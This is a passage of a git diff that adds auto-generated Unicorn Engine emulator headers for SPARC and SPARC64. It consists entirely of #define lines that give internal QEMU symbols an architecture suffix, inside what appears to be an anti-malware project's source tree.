tcg_constant_folding tcg_constant_folding_sparc +#define tcg_const_i32 tcg_const_i32_sparc +#define tcg_const_i64 tcg_const_i64_sparc +#define tcg_const_local_i32 tcg_const_local_i32_sparc +#define tcg_const_local_i64 tcg_const_local_i64_sparc +#define tcg_context_init tcg_context_init_sparc +#define tcg_cpu_address_space_init tcg_cpu_address_space_init_sparc +#define tcg_cpu_exec tcg_cpu_exec_sparc +#define tcg_current_code_size tcg_current_code_size_sparc +#define tcg_dump_info tcg_dump_info_sparc +#define tcg_dump_ops tcg_dump_ops_sparc +#define tcg_exec_all tcg_exec_all_sparc +#define tcg_find_helper tcg_find_helper_sparc +#define tcg_func_start tcg_func_start_sparc +#define tcg_gen_abs_i32 tcg_gen_abs_i32_sparc +#define tcg_gen_add2_i32 tcg_gen_add2_i32_sparc +#define tcg_gen_add_i32 tcg_gen_add_i32_sparc +#define tcg_gen_add_i64 tcg_gen_add_i64_sparc +#define tcg_gen_addi_i32 tcg_gen_addi_i32_sparc +#define tcg_gen_addi_i64 tcg_gen_addi_i64_sparc +#define tcg_gen_andc_i32 tcg_gen_andc_i32_sparc +#define tcg_gen_and_i32 tcg_gen_and_i32_sparc +#define tcg_gen_and_i64 tcg_gen_and_i64_sparc +#define tcg_gen_andi_i32 tcg_gen_andi_i32_sparc +#define tcg_gen_andi_i64 tcg_gen_andi_i64_sparc +#define tcg_gen_br tcg_gen_br_sparc +#define tcg_gen_brcond_i32 tcg_gen_brcond_i32_sparc +#define tcg_gen_brcond_i64 tcg_gen_brcond_i64_sparc +#define tcg_gen_brcondi_i32 tcg_gen_brcondi_i32_sparc +#define tcg_gen_bswap16_i32 tcg_gen_bswap16_i32_sparc +#define tcg_gen_bswap32_i32 tcg_gen_bswap32_i32_sparc +#define tcg_gen_callN tcg_gen_callN_sparc +#define tcg_gen_code tcg_gen_code_sparc +#define tcg_gen_code_common tcg_gen_code_common_sparc +#define tcg_gen_code_search_pc tcg_gen_code_search_pc_sparc +#define tcg_gen_concat_i32_i64 tcg_gen_concat_i32_i64_sparc +#define tcg_gen_debug_insn_start tcg_gen_debug_insn_start_sparc +#define tcg_gen_deposit_i32 tcg_gen_deposit_i32_sparc +#define tcg_gen_exit_tb tcg_gen_exit_tb_sparc +#define tcg_gen_ext16s_i32 tcg_gen_ext16s_i32_sparc +#define tcg_gen_ext16u_i32 tcg_gen_ext16u_i32_sparc +#define tcg_gen_ext32s_i64 tcg_gen_ext32s_i64_sparc +#define tcg_gen_ext32u_i64 tcg_gen_ext32u_i64_sparc +#define tcg_gen_ext8s_i32 tcg_gen_ext8s_i32_sparc +#define tcg_gen_ext8u_i32 tcg_gen_ext8u_i32_sparc +#define tcg_gen_ext_i32_i64 tcg_gen_ext_i32_i64_sparc +#define tcg_gen_extu_i32_i64 tcg_gen_extu_i32_i64_sparc +#define tcg_gen_goto_tb tcg_gen_goto_tb_sparc +#define tcg_gen_ld_i32 tcg_gen_ld_i32_sparc +#define tcg_gen_ld_i64 tcg_gen_ld_i64_sparc +#define tcg_gen_ldst_op_i32 tcg_gen_ldst_op_i32_sparc +#define tcg_gen_ldst_op_i64 tcg_gen_ldst_op_i64_sparc +#define tcg_gen_movcond_i32 tcg_gen_movcond_i32_sparc +#define tcg_gen_movcond_i64 tcg_gen_movcond_i64_sparc +#define tcg_gen_mov_i32 tcg_gen_mov_i32_sparc +#define tcg_gen_mov_i64 tcg_gen_mov_i64_sparc +#define tcg_gen_movi_i32 tcg_gen_movi_i32_sparc +#define tcg_gen_movi_i64 tcg_gen_movi_i64_sparc +#define tcg_gen_mul_i32 tcg_gen_mul_i32_sparc +#define tcg_gen_muls2_i32 tcg_gen_muls2_i32_sparc +#define tcg_gen_mulu2_i32 tcg_gen_mulu2_i32_sparc +#define tcg_gen_neg_i32 tcg_gen_neg_i32_sparc +#define tcg_gen_neg_i64 tcg_gen_neg_i64_sparc +#define tcg_gen_not_i32 tcg_gen_not_i32_sparc +#define tcg_gen_op0 tcg_gen_op0_sparc +#define tcg_gen_op1i tcg_gen_op1i_sparc +#define tcg_gen_op2_i32 tcg_gen_op2_i32_sparc +#define tcg_gen_op2_i64 tcg_gen_op2_i64_sparc +#define tcg_gen_op2i_i32 tcg_gen_op2i_i32_sparc +#define tcg_gen_op2i_i64 tcg_gen_op2i_i64_sparc +#define tcg_gen_op3_i32 tcg_gen_op3_i32_sparc +#define tcg_gen_op3_i64 tcg_gen_op3_i64_sparc +#define tcg_gen_op4_i32 tcg_gen_op4_i32_sparc +#define tcg_gen_op4i_i32 tcg_gen_op4i_i32_sparc +#define tcg_gen_op4ii_i32 tcg_gen_op4ii_i32_sparc +#define tcg_gen_op4ii_i64 tcg_gen_op4ii_i64_sparc +#define tcg_gen_op5ii_i32 tcg_gen_op5ii_i32_sparc +#define tcg_gen_op6_i32 tcg_gen_op6_i32_sparc +#define tcg_gen_op6i_i32 tcg_gen_op6i_i32_sparc +#define tcg_gen_op6i_i64 tcg_gen_op6i_i64_sparc +#define tcg_gen_orc_i32 tcg_gen_orc_i32_sparc +#define tcg_gen_or_i32 tcg_gen_or_i32_sparc +#define tcg_gen_or_i64 tcg_gen_or_i64_sparc +#define tcg_gen_ori_i32 tcg_gen_ori_i32_sparc +#define tcg_gen_qemu_ld_i32 tcg_gen_qemu_ld_i32_sparc +#define tcg_gen_qemu_ld_i64 tcg_gen_qemu_ld_i64_sparc +#define tcg_gen_qemu_st_i32 tcg_gen_qemu_st_i32_sparc +#define tcg_gen_qemu_st_i64 tcg_gen_qemu_st_i64_sparc +#define tcg_gen_rotl_i32 tcg_gen_rotl_i32_sparc +#define tcg_gen_rotli_i32 tcg_gen_rotli_i32_sparc +#define tcg_gen_rotr_i32 tcg_gen_rotr_i32_sparc +#define tcg_gen_rotri_i32 tcg_gen_rotri_i32_sparc +#define tcg_gen_sar_i32 tcg_gen_sar_i32_sparc +#define tcg_gen_sari_i32 tcg_gen_sari_i32_sparc +#define tcg_gen_setcond_i32 tcg_gen_setcond_i32_sparc +#define tcg_gen_shl_i32 tcg_gen_shl_i32_sparc +#define tcg_gen_shl_i64 tcg_gen_shl_i64_sparc +#define tcg_gen_shli_i32 tcg_gen_shli_i32_sparc +#define tcg_gen_shli_i64 tcg_gen_shli_i64_sparc +#define tcg_gen_shr_i32 tcg_gen_shr_i32_sparc +#define tcg_gen_shifti_i64 tcg_gen_shifti_i64_sparc +#define tcg_gen_shr_i64 tcg_gen_shr_i64_sparc +#define tcg_gen_shri_i32 tcg_gen_shri_i32_sparc +#define tcg_gen_shri_i64 tcg_gen_shri_i64_sparc +#define tcg_gen_st_i32 tcg_gen_st_i32_sparc +#define tcg_gen_st_i64 tcg_gen_st_i64_sparc +#define tcg_gen_sub_i32 tcg_gen_sub_i32_sparc +#define tcg_gen_sub_i64 tcg_gen_sub_i64_sparc +#define tcg_gen_subi_i32 tcg_gen_subi_i32_sparc +#define tcg_gen_trunc_i64_i32 tcg_gen_trunc_i64_i32_sparc +#define tcg_gen_trunc_shr_i64_i32 tcg_gen_trunc_shr_i64_i32_sparc +#define tcg_gen_xor_i32 tcg_gen_xor_i32_sparc +#define tcg_gen_xor_i64 tcg_gen_xor_i64_sparc +#define tcg_gen_xori_i32 tcg_gen_xori_i32_sparc +#define tcg_get_arg_str_i32 tcg_get_arg_str_i32_sparc +#define tcg_get_arg_str_i64 tcg_get_arg_str_i64_sparc +#define tcg_get_arg_str_idx tcg_get_arg_str_idx_sparc +#define tcg_global_mem_new_i32 tcg_global_mem_new_i32_sparc +#define tcg_global_mem_new_i64 tcg_global_mem_new_i64_sparc +#define tcg_global_mem_new_internal tcg_global_mem_new_internal_sparc +#define tcg_global_reg_new_i32 tcg_global_reg_new_i32_sparc +#define tcg_global_reg_new_i64 tcg_global_reg_new_i64_sparc +#define tcg_global_reg_new_internal tcg_global_reg_new_internal_sparc +#define tcg_handle_interrupt tcg_handle_interrupt_sparc +#define tcg_init tcg_init_sparc +#define tcg_invert_cond tcg_invert_cond_sparc +#define tcg_la_bb_end tcg_la_bb_end_sparc +#define tcg_la_br_end tcg_la_br_end_sparc +#define tcg_la_func_end tcg_la_func_end_sparc +#define tcg_liveness_analysis tcg_liveness_analysis_sparc +#define tcg_malloc tcg_malloc_sparc +#define tcg_malloc_internal tcg_malloc_internal_sparc +#define tcg_op_defs_org tcg_op_defs_org_sparc +#define tcg_opt_gen_mov tcg_opt_gen_mov_sparc +#define tcg_opt_gen_movi tcg_opt_gen_movi_sparc +#define tcg_optimize tcg_optimize_sparc +#define tcg_out16 tcg_out16_sparc +#define tcg_out32 tcg_out32_sparc +#define tcg_out64 tcg_out64_sparc +#define tcg_out8 tcg_out8_sparc +#define tcg_out_addi tcg_out_addi_sparc +#define tcg_out_branch tcg_out_branch_sparc +#define tcg_out_brcond32 tcg_out_brcond32_sparc +#define tcg_out_brcond64 tcg_out_brcond64_sparc +#define tcg_out_bswap32 tcg_out_bswap32_sparc +#define tcg_out_bswap64 tcg_out_bswap64_sparc +#define tcg_out_call tcg_out_call_sparc +#define tcg_out_cmp tcg_out_cmp_sparc +#define tcg_out_ext16s tcg_out_ext16s_sparc +#define tcg_out_ext16u tcg_out_ext16u_sparc +#define tcg_out_ext32s tcg_out_ext32s_sparc +#define tcg_out_ext32u tcg_out_ext32u_sparc +#define tcg_out_ext8s tcg_out_ext8s_sparc +#define tcg_out_ext8u tcg_out_ext8u_sparc +#define tcg_out_jmp tcg_out_jmp_sparc +#define tcg_out_jxx tcg_out_jxx_sparc +#define tcg_out_label tcg_out_label_sparc +#define tcg_out_ld tcg_out_ld_sparc +#define tcg_out_modrm tcg_out_modrm_sparc +#define tcg_out_modrm_offset tcg_out_modrm_offset_sparc +#define tcg_out_modrm_sib_offset tcg_out_modrm_sib_offset_sparc +#define tcg_out_mov tcg_out_mov_sparc +#define tcg_out_movcond32 tcg_out_movcond32_sparc +#define tcg_out_movcond64 tcg_out_movcond64_sparc +#define tcg_out_movi tcg_out_movi_sparc +#define tcg_out_op tcg_out_op_sparc +#define tcg_out_pop tcg_out_pop_sparc +#define tcg_out_push tcg_out_push_sparc +#define tcg_out_qemu_ld tcg_out_qemu_ld_sparc +#define tcg_out_qemu_ld_direct tcg_out_qemu_ld_direct_sparc +#define tcg_out_qemu_ld_slow_path tcg_out_qemu_ld_slow_path_sparc +#define tcg_out_qemu_st tcg_out_qemu_st_sparc +#define tcg_out_qemu_st_direct tcg_out_qemu_st_direct_sparc +#define tcg_out_qemu_st_slow_path tcg_out_qemu_st_slow_path_sparc +#define tcg_out_reloc tcg_out_reloc_sparc +#define tcg_out_rolw_8 tcg_out_rolw_8_sparc +#define tcg_out_setcond32 tcg_out_setcond32_sparc +#define tcg_out_setcond64 tcg_out_setcond64_sparc +#define tcg_out_shifti tcg_out_shifti_sparc +#define tcg_out_st tcg_out_st_sparc +#define tcg_out_tb_finalize tcg_out_tb_finalize_sparc +#define tcg_out_tb_init tcg_out_tb_init_sparc +#define tcg_out_tlb_load tcg_out_tlb_load_sparc +#define tcg_out_vex_modrm tcg_out_vex_modrm_sparc +#define tcg_patch32 tcg_patch32_sparc +#define tcg_patch8 tcg_patch8_sparc +#define tcg_pcrel_diff tcg_pcrel_diff_sparc +#define tcg_pool_reset tcg_pool_reset_sparc +#define tcg_prologue_init tcg_prologue_init_sparc +#define tcg_ptr_byte_diff tcg_ptr_byte_diff_sparc +#define tcg_reg_alloc tcg_reg_alloc_sparc +#define tcg_reg_alloc_bb_end tcg_reg_alloc_bb_end_sparc +#define tcg_reg_alloc_call tcg_reg_alloc_call_sparc +#define tcg_reg_alloc_mov tcg_reg_alloc_mov_sparc +#define tcg_reg_alloc_movi tcg_reg_alloc_movi_sparc +#define tcg_reg_alloc_op tcg_reg_alloc_op_sparc +#define tcg_reg_alloc_start tcg_reg_alloc_start_sparc +#define tcg_reg_free tcg_reg_free_sparc +#define tcg_reg_sync tcg_reg_sync_sparc +#define tcg_set_frame tcg_set_frame_sparc +#define tcg_set_nop tcg_set_nop_sparc +#define tcg_swap_cond tcg_swap_cond_sparc +#define tcg_target_callee_save_regs tcg_target_callee_save_regs_sparc +#define tcg_target_call_iarg_regs tcg_target_call_iarg_regs_sparc +#define tcg_target_call_oarg_regs tcg_target_call_oarg_regs_sparc +#define tcg_target_const_match tcg_target_const_match_sparc +#define tcg_target_init tcg_target_init_sparc +#define tcg_target_qemu_prologue tcg_target_qemu_prologue_sparc +#define tcg_target_reg_alloc_order tcg_target_reg_alloc_order_sparc +#define tcg_temp_alloc tcg_temp_alloc_sparc +#define tcg_temp_free_i32 tcg_temp_free_i32_sparc +#define tcg_temp_free_i64 tcg_temp_free_i64_sparc +#define tcg_temp_free_internal tcg_temp_free_internal_sparc +#define tcg_temp_local_new_i32 tcg_temp_local_new_i32_sparc +#define tcg_temp_local_new_i64 tcg_temp_local_new_i64_sparc +#define tcg_temp_new_i32 tcg_temp_new_i32_sparc +#define tcg_temp_new_i64 tcg_temp_new_i64_sparc +#define tcg_temp_new_internal tcg_temp_new_internal_sparc +#define tcg_temp_new_internal_i32 tcg_temp_new_internal_i32_sparc +#define tcg_temp_new_internal_i64 tcg_temp_new_internal_i64_sparc +#define tdb_hash tdb_hash_sparc +#define teecr_write teecr_write_sparc +#define teehbr_access teehbr_access_sparc +#define temp_allocate_frame temp_allocate_frame_sparc +#define temp_dead temp_dead_sparc +#define temps_are_copies temps_are_copies_sparc +#define temp_save temp_save_sparc +#define temp_sync temp_sync_sparc +#define tgen_arithi tgen_arithi_sparc +#define tgen_arithr tgen_arithr_sparc +#define thumb2_logic_op thumb2_logic_op_sparc +#define ti925t_initfn ti925t_initfn_sparc +#define tlb_add_large_page tlb_add_large_page_sparc +#define tlb_flush_entry tlb_flush_entry_sparc +#define tlbi_aa64_asid_is_write tlbi_aa64_asid_is_write_sparc +#define tlbi_aa64_asid_write tlbi_aa64_asid_write_sparc +#define tlbi_aa64_vaa_is_write tlbi_aa64_vaa_is_write_sparc +#define tlbi_aa64_vaa_write tlbi_aa64_vaa_write_sparc +#define tlbi_aa64_va_is_write tlbi_aa64_va_is_write_sparc +#define tlbi_aa64_va_write tlbi_aa64_va_write_sparc +#define tlbiall_is_write tlbiall_is_write_sparc +#define tlbiall_write tlbiall_write_sparc +#define tlbiasid_is_write tlbiasid_is_write_sparc +#define tlbiasid_write tlbiasid_write_sparc +#define tlbimvaa_is_write tlbimvaa_is_write_sparc +#define tlbimvaa_write tlbimvaa_write_sparc +#define tlbimva_is_write tlbimva_is_write_sparc +#define tlbimva_write tlbimva_write_sparc +#define tlb_is_dirty_ram tlb_is_dirty_ram_sparc +#define tlb_protect_code tlb_protect_code_sparc +#define tlb_reset_dirty_range tlb_reset_dirty_range_sparc +#define tlb_reset_dirty_range_all tlb_reset_dirty_range_all_sparc +#define tlb_set_dirty tlb_set_dirty_sparc +#define tlb_set_dirty1 tlb_set_dirty1_sparc +#define tlb_unprotect_code_phys tlb_unprotect_code_phys_sparc +#define tlb_vaddr_to_host tlb_vaddr_to_host_sparc +#define token_get_type token_get_type_sparc +#define token_get_value token_get_value_sparc +#define token_is_escape token_is_escape_sparc +#define token_is_keyword token_is_keyword_sparc +#define token_is_operator token_is_operator_sparc +#define tokens_append_from_iter tokens_append_from_iter_sparc +#define to_qiv to_qiv_sparc +#define to_qov to_qov_sparc +#define tosa_init tosa_init_sparc +#define tosa_machine_init tosa_machine_init_sparc +#define tswap32 tswap32_sparc +#define tswap64 tswap64_sparc +#define type_class_get_size type_class_get_size_sparc +#define type_get_by_name type_get_by_name_sparc +#define type_get_parent type_get_parent_sparc +#define type_has_parent type_has_parent_sparc +#define type_initialize type_initialize_sparc +#define type_initialize_interface type_initialize_interface_sparc +#define type_is_ancestor type_is_ancestor_sparc +#define type_new type_new_sparc +#define type_object_get_size type_object_get_size_sparc +#define type_register_internal type_register_internal_sparc +#define type_table_add type_table_add_sparc +#define type_table_get type_table_get_sparc +#define type_table_lookup type_table_lookup_sparc +#define uint16_to_float32 uint16_to_float32_sparc +#define uint16_to_float64 uint16_to_float64_sparc +#define uint32_to_float32 uint32_to_float32_sparc +#define uint32_to_float64 uint32_to_float64_sparc +#define uint64_to_float128 uint64_to_float128_sparc +#define uint64_to_float32 uint64_to_float32_sparc +#define uint64_to_float64 uint64_to_float64_sparc +#define unassigned_io_ops unassigned_io_ops_sparc +#define unassigned_io_read unassigned_io_read_sparc +#define unassigned_io_write unassigned_io_write_sparc +#define unassigned_mem_accepts unassigned_mem_accepts_sparc +#define unassigned_mem_ops unassigned_mem_ops_sparc +#define unassigned_mem_read unassigned_mem_read_sparc +#define unassigned_mem_write unassigned_mem_write_sparc +#define update_spsel update_spsel_sparc +#define v6_cp_reginfo v6_cp_reginfo_sparc +#define v6k_cp_reginfo v6k_cp_reginfo_sparc +#define v7_cp_reginfo v7_cp_reginfo_sparc +#define v7mp_cp_reginfo v7mp_cp_reginfo_sparc +#define v7m_pop v7m_pop_sparc +#define v7m_push v7m_push_sparc +#define v8_cp_reginfo v8_cp_reginfo_sparc +#define v8_el2_cp_reginfo v8_el2_cp_reginfo_sparc +#define v8_el3_cp_reginfo v8_el3_cp_reginfo_sparc +#define v8_el3_no_el2_cp_reginfo v8_el3_no_el2_cp_reginfo_sparc +#define vapa_cp_reginfo vapa_cp_reginfo_sparc +#define vbar_write vbar_write_sparc +#define vfp_exceptbits_from_host vfp_exceptbits_from_host_sparc +#define vfp_exceptbits_to_host vfp_exceptbits_to_host_sparc +#define vfp_get_fpcr vfp_get_fpcr_sparc +#define vfp_get_fpscr vfp_get_fpscr_sparc +#define vfp_get_fpsr vfp_get_fpsr_sparc +#define vfp_reg_offset vfp_reg_offset_sparc +#define vfp_set_fpcr vfp_set_fpcr_sparc +#define vfp_set_fpscr vfp_set_fpscr_sparc +#define vfp_set_fpsr vfp_set_fpsr_sparc +#define visit_end_implicit_struct visit_end_implicit_struct_sparc +#define visit_end_list visit_end_list_sparc +#define visit_end_struct visit_end_struct_sparc +#define visit_end_union visit_end_union_sparc +#define visit_get_next_type visit_get_next_type_sparc +#define visit_next_list visit_next_list_sparc +#define visit_optional visit_optional_sparc +#define visit_start_implicit_struct visit_start_implicit_struct_sparc +#define visit_start_list visit_start_list_sparc +#define visit_start_struct visit_start_struct_sparc +#define visit_start_union visit_start_union_sparc +#define vmsa_cp_reginfo vmsa_cp_reginfo_sparc +#define vmsa_tcr_el1_write vmsa_tcr_el1_write_sparc +#define vmsa_ttbcr_raw_write vmsa_ttbcr_raw_write_sparc +#define vmsa_ttbcr_reset vmsa_ttbcr_reset_sparc +#define vmsa_ttbcr_write vmsa_ttbcr_write_sparc +#define vmsa_ttbr_write vmsa_ttbr_write_sparc +#define write_cpustate_to_list write_cpustate_to_list_sparc +#define write_list_to_cpustate write_list_to_cpustate_sparc +#define write_raw_cp_reg write_raw_cp_reg_sparc +#define X86CPURegister32_lookup X86CPURegister32_lookup_sparc +#define x86_op_defs x86_op_defs_sparc +#define xpsr_read xpsr_read_sparc +#define xpsr_write xpsr_write_sparc +#define xscale_cpar_write xscale_cpar_write_sparc +#define xscale_cp_reginfo xscale_cp_reginfo_sparc +#define cpu_sparc_exec cpu_sparc_exec_sparc +#define helper_compute_psr helper_compute_psr_sparc +#define helper_compute_C_icc helper_compute_C_icc_sparc +#define cpu_sparc_init cpu_sparc_init_sparc +#define cpu_sparc_set_id cpu_sparc_set_id_sparc +#define sparc_cpu_register_types sparc_cpu_register_types_sparc +#define helper_fadds helper_fadds_sparc +#define helper_faddd helper_faddd_sparc +#define helper_faddq helper_faddq_sparc +#define helper_fsubs helper_fsubs_sparc +#define helper_fsubd helper_fsubd_sparc +#define helper_fsubq helper_fsubq_sparc +#define helper_fmuls helper_fmuls_sparc +#define helper_fmuld helper_fmuld_sparc +#define helper_fmulq helper_fmulq_sparc +#define helper_fdivs helper_fdivs_sparc +#define helper_fdivd helper_fdivd_sparc +#define helper_fdivq helper_fdivq_sparc +#define helper_fsmuld helper_fsmuld_sparc +#define helper_fdmulq helper_fdmulq_sparc +#define helper_fnegs helper_fnegs_sparc +#define helper_fitos helper_fitos_sparc +#define helper_fitod helper_fitod_sparc +#define helper_fitoq helper_fitoq_sparc +#define helper_fdtos helper_fdtos_sparc +#define helper_fstod helper_fstod_sparc +#define helper_fqtos helper_fqtos_sparc +#define helper_fstoq helper_fstoq_sparc +#define helper_fqtod helper_fqtod_sparc +#define helper_fdtoq helper_fdtoq_sparc +#define helper_fstoi helper_fstoi_sparc +#define helper_fdtoi helper_fdtoi_sparc +#define helper_fqtoi helper_fqtoi_sparc +#define helper_fabss helper_fabss_sparc +#define helper_fsqrts helper_fsqrts_sparc +#define helper_fsqrtd helper_fsqrtd_sparc +#define helper_fsqrtq helper_fsqrtq_sparc +#define helper_fcmps helper_fcmps_sparc +#define helper_fcmpd helper_fcmpd_sparc +#define helper_fcmpes helper_fcmpes_sparc +#define helper_fcmped helper_fcmped_sparc +#define helper_fcmpq helper_fcmpq_sparc +#define helper_fcmpeq helper_fcmpeq_sparc +#define helper_ldfsr helper_ldfsr_sparc +#define helper_debug helper_debug_sparc +#define helper_udiv_cc helper_udiv_cc_sparc +#define helper_sdiv_cc helper_sdiv_cc_sparc +#define helper_taddcctv helper_taddcctv_sparc +#define helper_tsubcctv helper_tsubcctv_sparc +#define sparc_cpu_do_interrupt sparc_cpu_do_interrupt_sparc +#define helper_check_align helper_check_align_sparc +#define helper_ld_asi helper_ld_asi_sparc +#define helper_st_asi helper_st_asi_sparc +#define helper_cas_asi helper_cas_asi_sparc +#define helper_ldqf helper_ldqf_sparc +#define helper_stqf helper_stqf_sparc +#define sparc_cpu_unassigned_access sparc_cpu_unassigned_access_sparc +#define sparc_cpu_do_unaligned_access sparc_cpu_do_unaligned_access_sparc +#define sparc_cpu_handle_mmu_fault sparc_cpu_handle_mmu_fault_sparc +#define dump_mmu dump_mmu_sparc +#define sparc_cpu_get_phys_page_debug sparc_cpu_get_phys_page_debug_sparc +#define sparc_reg_reset sparc_reg_reset_sparc +#define sparc_reg_read sparc_reg_read_sparc +#define sparc_reg_write sparc_reg_write_sparc +#define gen_intermediate_code_init gen_intermediate_code_init_sparc +#define cpu_set_cwp cpu_set_cwp_sparc +#define cpu_get_psr cpu_get_psr_sparc +#define cpu_put_psr cpu_put_psr_sparc +#define cpu_cwp_inc cpu_cwp_inc_sparc +#define cpu_cwp_dec cpu_cwp_dec_sparc +#define helper_save helper_save_sparc +#define helper_restore helper_restore_sparc +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/sparc64.h b/ai_anti_malware/unicorn/unicorn-master/qemu/sparc64.h new file mode 100644 index 0000000..f389522 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/sparc64.h @@ -0,0 +1,3092 @@ +/* Autogen header for Unicorn Engine - DONOT MODIFY */ +#ifndef UNICORN_AUTOGEN_SPARC64_H +#define UNICORN_AUTOGEN_SPARC64_H +#define arm_release arm_release_sparc64 +#define aarch64_tb_set_jmp_target aarch64_tb_set_jmp_target_sparc64 +#define ppc_tb_set_jmp_target ppc_tb_set_jmp_target_sparc64 +#define use_idiv_instructions_rt use_idiv_instructions_rt_sparc64 +#define tcg_target_deposit_valid tcg_target_deposit_valid_sparc64 +#define helper_power_down helper_power_down_sparc64 +#define check_exit_request check_exit_request_sparc64 +#define address_space_unregister address_space_unregister_sparc64 +#define tb_invalidate_phys_page_fast tb_invalidate_phys_page_fast_sparc64 +#define phys_mem_clean phys_mem_clean_sparc64 +#define tb_cleanup tb_cleanup_sparc64 +#define memory_map memory_map_sparc64 +#define memory_map_ptr memory_map_ptr_sparc64 +#define memory_unmap memory_unmap_sparc64 +#define memory_free memory_free_sparc64 +#define free_code_gen_buffer free_code_gen_buffer_sparc64 +#define helper_raise_exception helper_raise_exception_sparc64 +#define tcg_enabled tcg_enabled_sparc64 +#define tcg_exec_init tcg_exec_init_sparc64 +#define memory_register_types memory_register_types_sparc64 +#define cpu_exec_init_all cpu_exec_init_all_sparc64 +#define vm_start vm_start_sparc64 +#define resume_all_vcpus resume_all_vcpus_sparc64 +#define a15_l2ctlr_read a15_l2ctlr_read_sparc64 +#define a64_translate_init a64_translate_init_sparc64 +#define aa32_generate_debug_exceptions aa32_generate_debug_exceptions_sparc64 +#define aa64_cacheop_access aa64_cacheop_access_sparc64 +#define aa64_daif_access aa64_daif_access_sparc64 +#define aa64_daif_write aa64_daif_write_sparc64 +#define aa64_dczid_read aa64_dczid_read_sparc64 +#define aa64_fpcr_read aa64_fpcr_read_sparc64 +#define aa64_fpcr_write aa64_fpcr_write_sparc64 +#define aa64_fpsr_read aa64_fpsr_read_sparc64 +#define aa64_fpsr_write aa64_fpsr_write_sparc64 +#define aa64_generate_debug_exceptions aa64_generate_debug_exceptions_sparc64 +#define aa64_zva_access aa64_zva_access_sparc64 +#define aarch64_banked_spsr_index aarch64_banked_spsr_index_sparc64 +#define aarch64_restore_sp aarch64_restore_sp_sparc64 +#define aarch64_save_sp aarch64_save_sp_sparc64 +#define accel_find accel_find_sparc64 +#define accel_init_machine accel_init_machine_sparc64 +#define accel_type accel_type_sparc64 +#define access_with_adjusted_size access_with_adjusted_size_sparc64 +#define add128 add128_sparc64 +#define add16_sat add16_sat_sparc64 +#define add16_usat add16_usat_sparc64 +#define add192 add192_sparc64 +#define add8_sat add8_sat_sparc64 +#define add8_usat add8_usat_sparc64 +#define add_cpreg_to_hashtable add_cpreg_to_hashtable_sparc64 +#define add_cpreg_to_list add_cpreg_to_list_sparc64 +#define addFloat128Sigs addFloat128Sigs_sparc64 +#define addFloat32Sigs addFloat32Sigs_sparc64 +#define addFloat64Sigs addFloat64Sigs_sparc64 +#define addFloatx80Sigs addFloatx80Sigs_sparc64 +#define add_qemu_ldst_label add_qemu_ldst_label_sparc64 +#define address_space_access_valid address_space_access_valid_sparc64 +#define address_space_destroy address_space_destroy_sparc64 +#define address_space_destroy_dispatch address_space_destroy_dispatch_sparc64 +#define address_space_get_flatview address_space_get_flatview_sparc64 +#define address_space_init address_space_init_sparc64 +#define address_space_init_dispatch address_space_init_dispatch_sparc64 +#define address_space_lookup_region address_space_lookup_region_sparc64 +#define address_space_map address_space_map_sparc64 +#define address_space_read address_space_read_sparc64 +#define address_space_rw address_space_rw_sparc64 +#define address_space_translate address_space_translate_sparc64 +#define address_space_translate_for_iotlb address_space_translate_for_iotlb_sparc64 +#define address_space_translate_internal address_space_translate_internal_sparc64 +#define address_space_unmap address_space_unmap_sparc64 +#define address_space_update_topology address_space_update_topology_sparc64 +#define address_space_update_topology_pass address_space_update_topology_pass_sparc64 +#define address_space_write address_space_write_sparc64 +#define addrrange_contains addrrange_contains_sparc64 +#define addrrange_end addrrange_end_sparc64 +#define addrrange_equal addrrange_equal_sparc64 +#define addrrange_intersection addrrange_intersection_sparc64 +#define addrrange_intersects addrrange_intersects_sparc64 +#define addrrange_make addrrange_make_sparc64 +#define adjust_endianness adjust_endianness_sparc64 +#define all_helpers all_helpers_sparc64 +#define alloc_code_gen_buffer alloc_code_gen_buffer_sparc64 +#define alloc_entry alloc_entry_sparc64 +#define always_true always_true_sparc64 +#define arm1026_initfn arm1026_initfn_sparc64 +#define arm1136_initfn arm1136_initfn_sparc64 +#define arm1136_r2_initfn arm1136_r2_initfn_sparc64 +#define arm1176_initfn arm1176_initfn_sparc64 +#define arm11mpcore_initfn arm11mpcore_initfn_sparc64 +#define arm926_initfn arm926_initfn_sparc64 +#define arm946_initfn arm946_initfn_sparc64 +#define arm_ccnt_enabled arm_ccnt_enabled_sparc64 +#define arm_cp_read_zero arm_cp_read_zero_sparc64 +#define arm_cp_reset_ignore arm_cp_reset_ignore_sparc64 +#define arm_cpu_do_interrupt arm_cpu_do_interrupt_sparc64 +#define arm_cpu_exec_interrupt arm_cpu_exec_interrupt_sparc64 +#define arm_cpu_finalizefn arm_cpu_finalizefn_sparc64 +#define arm_cpu_get_phys_page_debug arm_cpu_get_phys_page_debug_sparc64 +#define arm_cpu_handle_mmu_fault arm_cpu_handle_mmu_fault_sparc64 +#define arm_cpu_initfn arm_cpu_initfn_sparc64 +#define arm_cpu_list arm_cpu_list_sparc64 +#define cpu_loop_exit cpu_loop_exit_sparc64 +#define arm_cpu_post_init arm_cpu_post_init_sparc64 +#define arm_cpu_realizefn arm_cpu_realizefn_sparc64 +#define arm_cpu_register_gdb_regs_for_features arm_cpu_register_gdb_regs_for_features_sparc64 +#define arm_cpu_register_types arm_cpu_register_types_sparc64 +#define cpu_resume_from_signal cpu_resume_from_signal_sparc64 +#define arm_cpus arm_cpus_sparc64 +#define arm_cpu_set_pc arm_cpu_set_pc_sparc64 +#define arm_cp_write_ignore arm_cp_write_ignore_sparc64 +#define arm_current_el arm_current_el_sparc64 +#define arm_dc_feature arm_dc_feature_sparc64 +#define arm_debug_excp_handler arm_debug_excp_handler_sparc64 +#define arm_debug_target_el arm_debug_target_el_sparc64 +#define arm_el_is_aa64 arm_el_is_aa64_sparc64 +#define arm_env_get_cpu arm_env_get_cpu_sparc64 +#define arm_excp_target_el arm_excp_target_el_sparc64 +#define arm_excp_unmasked arm_excp_unmasked_sparc64 +#define arm_feature arm_feature_sparc64 +#define arm_generate_debug_exceptions arm_generate_debug_exceptions_sparc64 +#define gen_intermediate_code gen_intermediate_code_sparc64 +#define gen_intermediate_code_pc gen_intermediate_code_pc_sparc64 +#define arm_gen_test_cc arm_gen_test_cc_sparc64 +#define arm_gt_ptimer_cb arm_gt_ptimer_cb_sparc64 +#define arm_gt_vtimer_cb arm_gt_vtimer_cb_sparc64 +#define arm_handle_psci_call arm_handle_psci_call_sparc64 +#define arm_is_psci_call arm_is_psci_call_sparc64 +#define arm_is_secure arm_is_secure_sparc64 +#define 